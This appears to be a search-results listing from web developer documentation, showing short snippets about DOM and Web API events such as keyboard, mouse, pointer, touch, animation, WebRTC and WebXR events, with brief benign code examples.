... syntax var animiterationhandler = target.onanimationiteration; target.onanimationiteration = function value a function to be called when an animationiteration event occurs indicating that a css animation has reached the end of an iteration while running on the target, where the target object is an html element (htmlelement), document (document), or window (window).
...And 5 more matches
GlobalEventHandlers.onkeypress - Web APIs
the onkeypress property of the globaleventhandlers mixin is an eventhandler that processes keypress events.
... the keypress event should fire when the user presses a key on the keyboard.
... however, in practice browsers do not fire keypress events for certain keys.
...And 5 more matches
GlobalEventHandlers.onmousewheel - Web APIs
the onmousewheel property sets and returns the event handler for the mousewheel event.
... do not use this wheel event.
...instead use the standard wheel event.
...And 5 more matches
GlobalEventHandlers.ontransitioncancel - Web APIs
the ontransitioncancel property of the globaleventhandlers mixin is an eventhandler that processes transitioncancel events.
... the transitioncancel event is sent when a css transition is cancelled.
... syntax var transitioncancelhandler = target.ontransitioncancel; target.ontransitioncancel = function value a function to be called when a transitioncancel event occurs indicating that a css transition has been cancelled on the target, where the target object is an html element (htmlelement), document (document), or window (window).
...And 5 more matches
GlobalEventHandlers.ontransitionend - Web APIs
the ontransitionend property of the globaleventhandlers mixin is an eventhandler that processes transitionend events.
... the transitionend event is sent to when a css transition completes.
... if the transition is removed from its target node before the transition completes execution, the transitionend event won't be generated.
...And 5 more matches
HTMLElement: animationcancel event - Web APIs
the animationcancel event is fired when a css animation unexpectedly aborts.
... in other words, any time it stops running without sending an animationend event.
... an event handler for this event can be added by setting the onanimationcancel property, or using addeventlistener().
...And 5 more matches
HTMLElement: transitioncancel event - Web APIs
the transitioncancel event is fired when a css transition is canceled.
... see globaleventhandlers.ontransitioncancel for more information.
... bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitioncancel examples this code gets an element that has a transition defined and adds a listener to the transitioncancel event: const transition = document.queryselector('.transition'); transition.addeventlistener('transitioncancel', () => { console.log('transition canceled'); }); the same, but using the ontransitioncancel property instead of addeventlistener(): const transition = document.queryselector('.transition'); transition.ontransitioncancel = () => { console.log('transition canceled'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class=...
...And 5 more matches
HTMLInputElement: invalid event - Web APIs
the invalid event fires when a submittable element has been checked for validity and doesn't satisfy its constraints.
... bubbles no cancelable yes interface event event handler property globaleventhandlers.oninvalid this event can be useful for displaying a summary of the problems with a form on submission.
... when a form is submitted, invalid events are fired at each form control that is invalid.
...And 5 more matches
IDBVersionChangeEvent - Web APIs
the idbversionchangeevent interface of the indexeddb api indicates that the version of the database has changed, as the result of an idbopendbrequest.onupgradeneeded event handler function.
... idbversionchangeevent.oldversion read only returns the old version of the database.
... idbversionchangeevent.newversion read only returns the new version of the database.
...And 5 more matches
KeyboardEvent.charCode - Web APIs
the charcode read-only property of the keyboardevent interface returns the unicode value of a character key pressed during a keypress event.
... syntax var code = event.charcode; return value a number that represents the unicode value of the character key that was pressed.
... example html <p>type anything into the input box below to log a <code>charcode</code>.</p> <input type="text" /> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.queryselector('#log'); input.addeventlistener('keypress', function(e) { log.innertext = `key pressed: ${string.fromcharcode(e.charcode)}\ncharcode: ${e.charcode}`; }); result notes in a keypress event, the unicode value of the key pressed is stored in either the keycode or charcode property, but never both.
...And 5 more matches
KeyboardEvent.keyCode - Web APIs
the deprecated keyboardevent.keycode read-only property represents a system and implementation dependent numerical code identifying the unmodified value of the pressed key.
...instead, you should use keyboardevent.code, if it's implemented.
... web developers shouldn't use the keycode attribute for printable characters when handling keydown and keyup events.
...And 5 more matches
MediaKeyMessageEvent - Web APIs
the mediakeymessageevent interface of the encryptedmediaextensions api contains the content and related data when the content decryption module generates a message for the session.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediakeymessageevent" ...
...target="_top"><rect x="116" y="1" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediakeymessageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor mediakeymessageevent() creates a new instance of mediakeymessageevent.
...And 5 more matches
MediaStreamEvent - Web APIs
the mediastreamevent interface represents events that occurs in relation to a mediastream.
... two events of this type can be thrown: addstream and removestream.
... properties a mediastreamevent being an event, this event also implements these properties.
...And 5 more matches
MediaStreamTrack: unmute event - Web APIs
the unmute event is sent to a mediastreamtrack when the track's source is once again able to provide media data after a period of not being able to do so.
... this ends the muted state that began with the mute event.
... bubbles no cancelable no interface event event handler property onunmute note: the condition that most people think of as "muted" (that is, a user-controllable way to silence a track) is actually managed using the mediastreamtrack.enabled property, for which there are no events.
...And 5 more matches
MerchantValidationEvent.complete() - Web APIs
the merchantvalidationevent method complete() takes merchant-specific information previously received from the validationurl and uses it to validate the merchant.
... all you have to do is call complete() from your handler for the merchantvalidation event, passing in the data fetched from the validationurl.
... syntax merchantvalidationevent.complete(validationdata); merchantvalidationevent.complete(merchantsessionpromise); parameters validationdata or merchantsessionpromise an object containing the data needed to complete the merchant validation process, or a promise which resolves to the validation data.
...And 5 more matches
MouseEvent.pageX - Web APIs
WebAPIMouseEventpageX
the pagex read-only property of the mouseevent interface returns the x (horizontal) coordinate (in pixels) at which the mouse was clicked, relative to the left edge of the entire document.
... syntax var pagex = mouseevent.pagex; value a floating-point number of pixels from the left edge of the document at which the mouse was clicked, regardless of any scrolling or viewport positioning that may be in effect.
... this property was originally specified in the touch events specification as a long integer, but was redefined in the cssom view module to be a double-precision floating-point number to allow for subpixel precision.
...And 5 more matches
MouseEvent.screenX - Web APIs
the screenx read-only property of the mouseevent interface provides the horizontal coordinate (offset) of the mouse pointer in global (screen) coordinates.
... syntax var x = instanceofmouseevent.screenx return value a double floating point value.
... example this example displays your mouse's coordinates whenever you trigger the mousemove event.
...And 5 more matches
MouseEvent.screenY - Web APIs
the screeny read-only property of the mouseevent interface provides the vertical coordinate (offset) of the mouse pointer in global (screen) coordinates.
... syntax var y = instanceofmouseevent.screeny return value a double floating point value.
... example this example displays your mouse's coordinates whenever you trigger the mousemove event.
...And 5 more matches
MouseScrollEvent - Web APIs
the mousescrollevent interface represents events that occur due to the user moving a mouse wheel or similar input device.
... do not use this interface for wheel events.
... like mousewheelevent, this interface is non-standard and deprecated.
...And 5 more matches
PaymentRequest: paymentmethodchange event - Web APIs
paymentmethodchange events are delivered by the payment request api to a paymentrequest object when the user changes payment methods within a given payment handler.
... for example, if the user switches from one credit card to another on their apple pay account, a paymentmethodchange event is fired to let you know about the change.
... bubbles no cancelable no interface paymentmethodchangeevent event handler property onpaymentmethodchange examples let's take a look at an example.
...And 5 more matches
PaymentRequestUpdateEvent - Web APIs
the paymentrequestupdateevent interface is used for events sent to a paymentrequest instance when changes are made to shipping-related information for a pending paymentrequest.
... those events are: shippingaddresschange secure context dispatched whenever the user changes their shipping address.
... also available using the onshippingaddresschange event handler property.
...And 5 more matches
RTCErrorEvent - Web APIs
the webrtc api's rtcerrorevent interface represents an error sent to a webrtc object.
... it's based on the standard event interface, but adds rtc-specific information describing the error, as shown below.
... constructor rtcerrorevent() creates and returns a new rtcerrorevent object.
...And 5 more matches
RTCPeerConnectionIceEvent() - Web APIs
the rtcpeerconnectioniceevent() constructor creates a new rtcpeerconnectioniceevent.
... syntax var event = new rtcpeerconnectioniceevent(type, options); parameters type is a domstring containing the name of the event, like "icecandidate".
... options a dictionary of type rtcpeerconnectioninit, which may contain one or more of the following fields: "candidate" (optional, default is null): a rtcicecandidate representing the ice candidate being concerned by the event.
...And 5 more matches
RTCTrackEvent() - Web APIs
the rtctrackevent() constructor creates and returns a new rtctrackevent object, configured to describe the track which has been added to the rtcpeerconnection.
... in general, you won't need to use this constructor, as rtctrackevent objects are created by webrtc and delivered to your rtcpeerconnector's ontrack event handler as appropriate.
... syntax trackevent = new rtctrackevent(eventinfo); parameters eventinfo an object based on the rtctrackeventinit dictionary, providing information about the track which has been added to the rtcpeerconnection.
...And 5 more matches
SpeechRecognitionEvent - Web APIs
the speechrecognitionevent interface of the web speech api represents the event object for the result and nomatch events, and contains all the data associated with an interim or final speech recognition result.
... properties speechrecognitionevent also inherits properties from its parent interface, event.
... speechrecognitionevent.emma read only returns an extensible multimodal annotation markup language (emma) — xml — representation of the result.
...And 5 more matches
SpeechSynthesisEvent - Web APIs
the speechsynthesisevent interface of the web speech api contains information about the current state of speechsynthesisutterance objects that have been processed in the speech service.
... properties the speechsynthesisevent interface also inherits properties from its parent interface, event.
... speechsynthesisevent.charindex read only returns the index position of the character in the speechsynthesisutterance.text that was being spoken when the event was triggered.
...And 5 more matches
UIEvent() - Web APIs
WebAPIUIEventUIEvent
the uievent() constructor creates a new uievent.
... syntax event = new uievent(typearg [, uieventinit]) values typearg is a domstring representing the name of the event.
... uieventinit optional is a uieventinit dictionary, having the following fields: detail: optional and defaulting to 0, of type long, that is a event-dependant value associated with the event.
...And 5 more matches
WebGLContextEvent - Web APIs
the webcontextevent interface is part of the webgl api and is an interface for an event that is generated in response to a status change to the webgl rendering context.
... inheritance this interface inherits properties and methods from its parent interface, event.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/webglcontextevent" ta...
...And 5 more matches
XRInputSourceEvent() - Web APIs
the xrinputsourceevent() constructor creates and returns a new xrinputsourceevent object describing an event (state change) which has occurred on a webxr user input device represented by an xrinputsource.
... syntax newinputsourceevent = new xrinputsourceevent(type, eventinitdict); parameters type a domstring indicating which of the input source events the new object will represent.
... permitted values are listed under event types below.
...And 5 more matches
XRInputSourceEvent.frame - Web APIs
the read-only xrinputsourceevent property frame specifies an xrframe object representing the event frame during which a webxr user input occurred.
... this may thus be an event which occurred in the past rather than a current or impending event.
... syntax let inputframe = xrinputsourceevent.frame; value an xrframe indicating the event frame at which the user input event described by the object took place.
...And 5 more matches
XRInputSourceEventInit.frame - Web APIs
the xrinputsourceeventinit dictionary's property frame specifies an xrframe providing information about the timestamp at which the new input source event took place, as well as access to the xrframe method getpose() which can be used to map the coordinates of any xrreferencespace to the space in which the event took place.
... of course, as a general rule, you won't need to create xrinputsourceeventinit objects yourself.
... these events are generated by and sent to you by the webxr infrastructure.
...And 5 more matches
XRInputSourcesChangeEvent() - Web APIs
the xrinputsourceschangeevent() constructor creates and returns a new xrinputsourceschangeevent object, representing an update to the list of available webxr input devices.
... you won't typically call this constructor yourself, as these events are created and sent to you by the webxr system.
... syntax newinputsourceschangeevent = new xrinputsourceschangeevent(type, eventinitdict); parameters type a domstring indicating the type of event which has occurred.
...And 5 more matches
XRInputSourcesChangeEvent - Web APIs
the webxr device api interface xrinputsourceschangeevent is used to represent the inputsourceschange event sent to an xrsession when the set of available webxr input controllers changes.
... constructor xrinputsourceschangeevent() creates and returns a new xrinputsourceschangeevent object configured as indicated by the given xrinputsourceschangeeventinit object.
... the specified type must be inputsourceschange, which is the only event that uses this interface.
...And 5 more matches
XRReferenceSpaceEvent() - Web APIs
the xrreferencespaceevent() constructor is used to create a new xrreferencespaceevent object, which represents an event regarding the state of a webxr reference space object, xrreferencespace.
... currently, only the reset event is defined using this type.
... syntax let refspaceevent = new xrreferencespaceevent(type, eventinitdict); parameters type a domstring indicating the event type which has occurred.
...And 5 more matches
XRReferenceSpaceEvent - Web APIs
the webxr device api interface xrreferencespaceevent represents an event sent to an xrreferencespace.
... currently, the only event that uses this type is the reset event.
... constructor xrreferencespaceevent() returns a new xrreferencespaceevent with the specified type and configured using the values in the given xrreferencespaceeventinit dictionary.
...And 5 more matches
handler.preventExtensions() - JavaScript
the handler.preventextensions() method is a trap for object.preventextensions().
... syntax const p = new proxy(target, { preventextensions: function(target) { } }); parameters the following parameter is passed to the preventextensions() method.
... return value the preventextensions() method must return a boolean value.
...And 5 more matches
SVG Event Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeEvents
event attributes always have their name starting with "on" followed by the name of the event for which they are intended.
... they specifies some script to run when the event of the given type is dispatched to the element on which the attributes are specified.
... for every event type that the browser supports, svg supports that as an event attribute, following the same requirements as for html event attributes.
...And 5 more matches
Test your skills: Events - Learn web development
this aim of this skill test is to assess whether you've understood our introduction to events article.
... events 1 in our first events-related task, you need to create a simple event handler that causes the text inside the button (btn) to change when it is clicked on, and change back when it is clicked again.
... events 2 now we'll look at keyboard events.
...And 4 more matches
nsIDOMOrientationEvent
the nsidomorientationevent interface describes the event that can be delivered to dom windows, providing information from the device's accelerometer, allowing code to determine the orientation of the device.
... dom/interfaces/events/nsidomorientationevent.idlscriptable please add a summary to this article.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsidomevent method overview void initorientationevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg, in double x, in double y, in double z); attributes attribute type description x double the amount of tilt along the x axis.
...And 4 more matches
Events
there are a lot of events that can be fired in mail code.
... some of these are standard events, such as those created by the dom.
...this reference will help you track those events down and learn how to use them.
...And 4 more matches
AnimationEvent() - Web APIs
the animationevent() constructor returns a newly created animationevent, representing an event in relation with an animation.
... syntax animationevent = new animationevent(type, {animationname: apropertyname, elapsedtime : afloat, pseudoelement: apseudoelementname}); parameters the animationevent() constructor also inherits arguments from event().
... type a domstring representing the name of the type of the animationevent.
...And 4 more matches
CustomEvent() - Web APIs
the customevent() constructor creates a new customevent.
... syntax event = new customevent(typearg, customeventinit); parameters typearg a domstring representing the name of the event.
... customeventinit optional a customeventinit dictionary, having the following fields: "detail", optional and defaulting to null, of type any, that is an event-dependent value associated with the event.
...And 4 more matches
DeviceMotionEvent - Web APIs
the devicemotionevent provides web developers with information about the speed of changes for the device's position and orientation.
... constructor devicemotionevent.devicemotionevent() creates a new devicemotionevent.
... properties devicemotionevent.accelerationread only an object giving the acceleration of the device on the three axis x, y and z.
...And 4 more matches
Document: animationcancel event - Web APIs
the animationcancel event is fired when a css animation unexpectedly aborts.
... in other words, any time it stops running without sending an animationend event.
... bubbles yes cancelable no interface animationevent event handler property onanimationcancel the original target for this event is the element that had the animation applied.
...And 4 more matches
Document: animationstart event - Web APIs
the animationstart event is fired when a css animation has started.
... if there is an animation-delay, this event will fire once the delay period has expired.
... a negative delay will cause the event to fire with an elapsedtime equal to the absolute value of the delay (and, correspondingly, the animation will begin playing at that time index into the sequence).
...And 4 more matches
Document: keydown event - Web APIs
the keydown event is fired when a key is pressed.
... unlike the keypress event, the keydown event is fired for all keys, regardless of whether they produce a character value.
... bubbles yes cancelable yes interface keyboardevent event handler property onkeydown the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
...And 4 more matches
Document: scroll event - Web APIs
the scroll event fires when the document view or an element has been scrolled.
... bubbles yes cancelable no interface event event handler property onscroll note: in ios uiwebviews, scroll events are not fired while scrolling is taking place; they are only fired after the scrolling has completed.
... examples scroll event throttling since scroll events can fire at a high rate, the event handler shouldn't execute computationally expensive operations such as dom modifications.
...And 4 more matches
DragEvent() - Web APIs
this constructor is used to create a synthetic dragevent object.
... this interface inherits properties from mouseevent and event.
... syntax event = new dragevent(type, drageventinit); arguments type is a domstring representing the name of the event (see dragevent event types).
...And 4 more matches
Element: MozMousePixelScroll event - Web APIs
the firefox-only, non-standard, and obsolete mozmousepixelscroll event is fired at an element asynchronously when a mouse wheel or similar device is operated.
... it's represented by the mousescrollevent interface.
... important: do not use this non-standard and obsolete event.
...And 4 more matches
Element: mouseout event - Web APIs
the mouseout event is fired at an element when a pointing device (usually a mouse) is used to move the cursor so that it is no longer contained within the element or one of its children.
... bubbles yes cancelable yes interface mouseevent event handler property onmouseout examples the following examples show the use of the mouseout event.
... mouseout and mouseleave the following example illustrates the difference between mouseout and mouseleave events.
...And 4 more matches
Element: paste event - Web APIs
the paste event is fired when the user has initiated a "paste" action through the browser's user interface.
... bubbles yes cancelable yes interface clipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position.
... a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property.
...And 4 more matches
Element: scroll event - Web APIs
the scroll event fires an element has been scrolled.
... bubbles no cancelable no interface event event handler property onscroll note: in ios uiwebviews, scroll events are not fired while scrolling is taking place; they are only fired after the scrolling has completed.
... examples scroll event throttling since scroll events can fire at a high rate, the event handler shouldn't execute computationally expensive operations such as dom modifications.
...And 4 more matches
Event.type - Web APIs
WebAPIEventtype
the type read-only property of the event interface returns a string containing the event's type.
... it is set when the event is constructed and is the name commonly used to refer to the specific event, such as click, load, or error.
... for a list of available event types, see the event reference.
...And 4 more matches
EventListener - Web APIs
the eventlistener interface represents an object that can handle an event dispatched by an eventtarget object.
... note: due to the need for compatibility with legacy content, eventlistener accepts both a function and an object with a handleevent() property function.
... eventlistener.handleevent() a function that is called whenever an event of the specified type occurs.
...And 4 more matches
ExtendableEvent.waitUntil() - Web APIs
the extendableevent.waituntil() method tells the event dispatcher that work is ongoing.
... the install events in service workers use waituntil() to hold the service worker in the installing phase until tasks complete.
... the activate events in service workers use waituntil() to buffer functional events such as fetch and push until the promise passed to waituntil() settles.
...And 4 more matches
FetchEvent() - Web APIs
the fetchevent() constructor creates a new fetchevent object.
... syntax var fetchevent = new fetchevent(type, init); parameters type a domstring object specifying which event the object represents.
... this is always fetch for fetch events.
...And 4 more matches
FocusEvent() - Web APIs
the focusevent() constructor returns a newly created focusevent object with an optional eventtarget.
... when the event has both a source and a destination, the relatedtarget value must be set to the other target.
... syntax var focusevent = new focusevent(typearg[, focuseventinit]); properties the focusevent() constructor also inherits arguments from uievent() and from event().
...And 4 more matches
GlobalEventHandlers.onanimationend - Web APIs
the onanimationend property of the globaleventhandlers mixin is the eventhandler for processing animationend events.
... the animationend event fires when a css animation reaches the end of its active period (which is calculated as animation-duration * animation-iteration-count) + animation-delay).
... syntax var animendhandler = target.onanimationend; target.onanimationend = function value a function to be called when an animationend event occurs indicating that a css animation has begun on the target, where the target object is an html element (htmlelement), document (document), or window (window).
...And 4 more matches
GlobalEventHandlers.onanimationstart - Web APIs
an event handler for the animationstart event.
... this event is sent when a css animation starts to play.
... syntax var animstarthandler = target.onanimationstart; target.onanimationstart = function value a function to be called when an animationstart event occurs indicating that a css animation has begun on the target, where the target object is an html element (htmlelement), document (document), or window (window).
...And 4 more matches
GlobalEventHandlers.onclick - Web APIs
the onclick property of the globaleventhandlers mixin is the eventhandler for processing click events on a given element.
... the click event is raised when the user clicks on an element.
... it fires after the mousedown and mouseup events, in that order.
...And 4 more matches
GlobalEventHandlers.oncontextmenu - Web APIs
the oncontextmenu property of the globaleventhandlers mixin is an eventhandler that processes contextmenu events.
... the contextmenu event typically fires when the right mouse button is clicked on the window.
... unless the default behavior is prevented, the browser context menu will activate.
...And 4 more matches
GlobalEventHandlers.ondragend - Web APIs
a global event handler for the dragend event.
... syntax var dragendhandler = targetelement.ondragend; return value dragendhandler the dragend event handler for element targetelement.
... example this example shows two ways to use the ondragend attribute handler to set an element's dragend event handler.
...And 4 more matches
GlobalEventHandlers.ondragenter - Web APIs
a global event handler for the dragenter event.
... syntax var dragenterhandler = targetelement.ondragenter; return value dragenterhandler the dragenter event handler for element targetelement.
... example this example demonstrates using the ondragenter attribute handler to set an element's dragenter event handler.
...And 4 more matches
GlobalEventHandlers.ondragleave - Web APIs
a global event handler for the dragleave event.
... syntax var dragleavehandler = targetelement.ondragleave; return value dragleavehandler the dragleave event handler for element targetelement.
... example this example demonstrates using the ondragleave attribute handler to set an element's dragleave event handler.
...And 4 more matches
GlobalEventHandlers.onpointercancel - Web APIs
the onpointercancel property of the globaleventhandlers mixin is an eventhandler that processes pointercancel events.
... syntax targetelement.onpointercancel = cancelhandler; var cancelhandler = targetelement.onpointercancel; value cancelhandler the pointercancel event handler for element targetelement.
... example this example shows two ways to use onpointercancel to handle an element's pointercancel events.
...And 4 more matches
GlobalEventHandlers.onpointerenter - Web APIs
the onpointerenter property of the globaleventhandlers mixin is an eventhandler that processes pointerenter events.
... syntax targetelement.onpointerenter = enterhandler; var enterhandler = targetelement.onpointerenter; value enterhandler the pointerenter event handler for element targetelement.
... example this example shows two ways to use onpointerenter to set an element's pointerenter event handler.
...And 4 more matches
GlobalEventHandlers.onpointermove - Web APIs
the onpointermove property of the globaleventhandlers mixin is an eventhandler that processes pointermove events.
... syntax targetelement.onpointermove = movehandler; var movehandler = targetelement.onpointermove; value movehandler the pointermove event handler for element targetelement.
... example this example shows two ways to use onpointermove to set an element's pointermove event handler.
...And 4 more matches
GlobalEventHandlers.onpointerout - Web APIs
the onpointerout property of the globaleventhandlers mixin is an eventhandler that processes pointerout events.
... syntax targetelement.onpointerout = outhandler; var outhandler = targetelement.onpointerout; value outhandler the pointerout event handler for element targetelement.
... example this example shows two ways to use onpointerout to set an element's pointerout event handler.
...And 4 more matches
GlobalEventHandlers.onpointerover - Web APIs
the onpointerover property of the globaleventhandlers mixin is an eventhandler that processes pointerover events.
... syntax targetelement.onpointerover = overhandler; var overhandler = targetelement.onpointerover; value overhandler the pointerover event handler for element targetelement.
... example this example shows two ways to use onpointerover to set an element's pointerover event handler.
...And 4 more matches
GlobalEventHandlers.onpointerup - Web APIs
the onpointerup property of the globaleventhandlers mixin is an eventhandler that processes pointerup events.
... syntax targetelement.onpointerup = uphandler; var uphandler = targetelement.onpointerup; value uphandler the pointerup event handler for element targetelement.
... example this example shows two ways to use onpointerup to set an element's pointerup event handler.
...And 4 more matches
GlobalEventHandlers.ontouchcancel - Web APIs
the ontouchcancel property of the globaleventhandlers mixin is an eventhandler that processes touchcancel events.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... syntax var cancelhandler = someelement.ontouchcancel; return value cancelhandler the touchcancel event handler for element someelement.
...And 4 more matches
GlobalEventHandlers.ontouchend - Web APIs
a global event handler for the touchend event.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... syntax var endhandler = targetelement.ontouchend; return value endhandler the touchend event handler for element targetelement.
...And 4 more matches
GlobalEventHandlers.ontouchmove - Web APIs
a global event handler for the touchmove event.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... syntax var movehandler = someelement.ontouchmove; return value movehandler the touchmove event handler for element someelement.
...And 4 more matches
GlobalEventHandlers.ontouchstart - Web APIs
the ontouchstart property of the globaleventhandlers mixin is an eventhandler that processes touchstart events.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... syntax var starthandler = someelement.ontouchstart; return value starthandler the touchstart event handler for element someelement.
...And 4 more matches
HTMLElement: change event - Web APIs
the change event is fired for <input>, <select>, and <textarea> elements when an alteration to the element's value is committed by the user.
... unlike the input event, the change event is not necessarily fired for each alteration to an element's value.
... bubbles yes cancelable no interface event event handler property onchange depending on the kind of element being changed and the way the user interacts with the element, the change event fires at a different moment: when the element is :checked (by clicking or using the keyboard) for <input type="radio"> and <input type="checkbox">; when the user commits the change explicitly (e.g., by selecting a value from a <select>'s dropdown with a mouse click, by selecting a date from a date picker for <input type="date">, by selecting a file in the file picker for <input type="file">, etc.); when the element loses focus after its value was changed, but not commited (e.g., after editing the value of <textarea> or <input type="text">).
...And 4 more matches
HTMLMediaElement: loadeddata event - Web APIs
the loadeddata event is fired when the frame at the current playback position of the media has finished loading; often the first frame.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onloadeddata specification html5 media note that this event will not fire in mobile/tablet devices if data-saver is on in browser settings.
... examples these examples add an event listener for the htmlmediaelement's loadeddata event, then post a message when that event handler has reacted to the event firing.
...And 4 more matches
HTMLMediaElement: loadedmetadata event - Web APIs
the loadedmetadata event is fired when the metadata has been loaded.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onloadedmetadata specification html5 media additional properties property type description mozchannels read only int the number of channels.
... examples these examples add an event listener for the htmlmediaelement's loadedmetadata event, then post a message when that event handler has reacted to the event firing.
...And 4 more matches
HTMLMediaElement: pause event - Web APIs
the pause event is sent when a request to pause an activity is handled and the activity has entered its paused state, most commonly after the media has been paused through a call to the element's pause() method.
... the event is sent once the pause() method returns and after the media element's paused property has been changed to true.
... general info bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onpause specification html5 media examples these examples add an event listener for the htmlmediaelement's pause event, then post a message when that event handler has reacted to the event firing.
...And 4 more matches
InputEvent.inputType - Web APIs
the inputtype read-only property of the inputevent interface returns the type of change made to editible content.
... syntax var astring = inputevent.inputtype; value a domstring containing the type of input that was made.
...for a complete list of the available input types, see the attributes section of the input events level 1 spec.
...And 4 more matches
MSManipulationEvent - Web APIs
msmanipulationevent provides contextual information when contact is made to the screen and an element is manipulated.
... events msmanipulationstatechanged: event fires when the state of an element being manipulated has changed.
... methods msmanipulationevent.initmsmanipulationevent(): used to create a manipulation event that can be called from javascript.
...And 4 more matches
MediaQueryListEvent - Web APIs
the mediaquerylistevent object stores information on the changes that have happened to a mediaquerylist object — instances are available as the event object on a function referenced by a mediaquerylist.onchange property or mediaquerylist.addlistener() call.
... constructor mediaquerylistevent() creates a new mediaquerylistevent instance.
... properties the mediaquerylistevent interface inherits properties from its parent interface, event.
...And 4 more matches
MediaStreamTrackEvent - Web APIs
the mediastreamtrackevent interface represents events which indicate that a mediastream has had tracks added to or removed from the stream through calls to media stream api methods.
... these events are sent to the stream when these changes occur.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediastreamtrackevent"...
...And 4 more matches
MouseEvent.buttons - Web APIs
the mouseevent.buttons read-only property indicates which buttons are pressed on the mouse (or other input device) when a mouse event is triggered.
... note: do not confuse this property with the mouseevent.button property.
... the mouseevent.buttons property indicates the state of buttons pressed during any kind of mouse event, while the mouseevent.button property only guarantees the correct value for mouse events caused by pressing or releasing one or multiple buttons.
...And 4 more matches
NDEFReadingEvent - Web APIs
the ndefreadingevent interface represents events despatched on new nfc readings obtained by ndefreader.
... constructor ndefreadingevent.ndefreadingevent() creates an ndefreadingevent event with the given parameters.
... properties also inherits properties from its parent event.
...And 4 more matches
OfflineAudioCompletionEvent - Web APIs
the web audio api offlineaudiocompletionevent interface represents events that occur when the processing of an offlineaudiocontext is terminated.
... the complete event implements this interface.
... constructor offlineaudiocompletionevent.offlineaudiocompletionevent creates a new offlineaudiocompletionevent object instance.
...And 4 more matches
PaymentRequest: merchantvalidation event - Web APIs
merchantvalidation events are delivered by the payment request api to a paymentrequest object when a payment handler requires that the merchant requesting the purchase validate itself as permitted to use the payment handler.
... bubbles no cancelable no interface merchantvalidationevent event handler property onmerchantvalidation examples in this example, an event handler is established for the merchantvalidation event.
... it uses the fetch() to send a request to its own server with an argument of the payment method's validation url, obtained from the event's validationurl property.
...And 4 more matches
RTCDTMFToneChangeEvent - Web APIs
the rtcdtmftonechangeevent interface represents events sent to indicate that dtmf tones have started or finished playing.
... this interface is used by the tonechange event.
... properties in addition to the properties of event, this interface offers the following: rtcdtmftonechangeevent.tone read only a domstring specifying the tone which has begun playing, or an empty string ("") if the previous tone has finished playing.
...And 4 more matches
RTCDataChannelEvent - Web APIs
the rtcdatachannelevent() constructor returns a new rtcdatachannelevent object, which represents a datachannel event.
... these events sent to an rtcpeerconnection when its remote peer is asking to open an rtcdatachannel between the two peers.
... you will rarely if ever construct an rtcdatachannelevent by hand; instead, the webrtc layer will generate and deliver them to you at the appropriate time.
...And 4 more matches
RTCIdentityEvent - Web APIs
the rtcidentityevent interface represents an identity assertion generated by an identity provider (idp).
...the only event sent with this type is identityresult..
... firefox implements this interface under the following name: rtcpeerconnectionidentityevent.
...And 4 more matches
RTCPeerConnection: addstream event - Web APIs
the obsolete addstream event is sent to an rtcpeerconnection when new media, in the form of a mediastream object, has been added to it.
... important: this event has been removed from the webrtc specification.
... you should instead watch for the track event, which is sent for each media track added to the rtcpeerconnection.
...And 4 more matches
SVGGraphicsElement: paste event - Web APIs
